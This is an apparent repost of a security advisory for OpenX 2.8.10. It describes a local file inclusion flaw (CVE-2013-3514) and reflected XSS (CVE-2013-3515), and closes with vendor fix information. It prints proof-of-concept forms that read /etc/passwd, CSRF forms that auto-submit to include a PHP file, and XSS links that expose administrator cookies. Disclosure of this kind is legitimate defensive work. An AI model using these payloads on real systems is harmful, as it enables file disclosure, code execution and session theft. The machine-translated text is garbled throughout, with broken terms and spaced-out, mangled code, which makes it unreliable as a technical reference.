OpenX 2.8.10 multiple defects

Source: Internet
Author: User

Affected products: OpenX affected versions: 2.8.10 and probably prior beta version: 2.8.10 defect type: PHP File compression sion [CWE-98], Cross-Site Scripting [CWE-79] risk level: high CVSSv2 Base Scores: 7.6 (AV: N/AC: H/Au: N/C: C/I: C/A: C), 2.6 (AV: N/AC: h/Au: N/C: N/I: P/A: N) Resolution status: Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) Summary: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to execute arbitrary PHP code, perform Cross-Site Scripting (XSS) attacks and compromise vulnerable system. 1) Local File transfer sion in OpenX: CVE-2013-3514 Input passed via "group" http get p Arameter to "/www/admin/plugin-preferences.php" and "/www/admin/plugin-settings.php" scripts is not properly verified before being used in PHP 'include () 'function and can be exploited to include arbitrary local files via directory traversal sequences and URL-encoded NULL byte techniques: The following PoC (Proof-of-Concept) code display contents of "/etc/passwd" file on vulnerable system using vu Lnerability in the first script: <form action = "http: // www.2cto.com/www/admin/plugin-preferences.php? Group = .. /.. /.. /.. /.. /etc/passwd % 00 "method =" post "name =" main "> <input type =" hidden "name =" submitok "value =" true "> <input type = ""submit" id = "btn"> </form> The second PoC code displays content of "/etc/passwd" file on vulnerable system using vulnerability in the second script: <form action = "http: // [host]/www/admin/plugin-settings.php? Group = .. /.. /.. /.. /.. /etc/passwd % 00 "method =" post "name =" main "> <input type =" hidden "name =" submitok "value =" true "> <input type = ""submit" id = "btn"> </form> Successful exploitation of these vulnerabilities requires administrative privileges, however they can also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) atta Cks. in order to do so an attacker shoshould trick logged-in OpenX administrator to open a specially crafted web page with CSRF exploit code. simple CSRF exploit below for the first vulnerability between des and executes "/tmp/file. php "script: <form action =" http: // [host]/www/admin/plugin-preferences.php? Group = .. /.. /.. /.. /.. /tmp/file. php % 00 "method =" post "name =" main "> <input type =" hidden "name =" submitok "value =" true "> <input type =" submit" id = "btn"> </form> <script> document. main. submit (); </script> Simple CSRF exploit below for the second vulnerability between des and executes "/tmp/file. php "script: <form action =" http: // [host]/www/admin/plugin-settings.php? Group = .. /.. /.. /.. /.. /tmp/file. php % 00 "method =" post "name =" main "> <input type =" hidden "name =" submitok "value =" true "> <input type =" submit" id = "btn"> </form> <script> document. main. submit (); </script> 2) Cross-Site Scripting (XSS) in OpenX: CVE-2013-3515 2.1 The vulnerability exists due to insufficient filtration of user-supplied data in "package" http get parameter passed to "/www/admin/plugin-index. Php "script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website. the exploitation example below uses the "alert ()" JavaScript function to display administrator's cookies: http: // [host]/www/admin/plugin-index.php? Action = disable & package = % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E 2.2 The vulnerability exists due to insufficient filtration of user-supplied data in "group" http get parameter passed to "/www/admin/plugin-settings.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of Vulnerable website. The exploitation example below uses the "alert ()" JavaScript function to display administrator's cookies: http: // [host]/www/admin/plugin-settings.php? Group = % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E plugin solution: Fixed by Vendor in SVN repository, revision 82710. replace the following files: [CWE-98] https://svn.openx.org/openx/trunk/www/admin/plugin-preferences.php CWE-79 https://svn.openx.org/openx/trunk/www/admin/plugin-index.php CWE-79 https://svn.openx.org/openx/trunk/www/admin/plugin-settings.php A diff file is available here: https://www.htbridge.com/advisory/ HTB23155-openx-changeset-82710.diff provided Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. details of this Advisory may be updated in order to provide as accurate information as possible. the latest version of the Advisory is available on web page [1] in the References.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.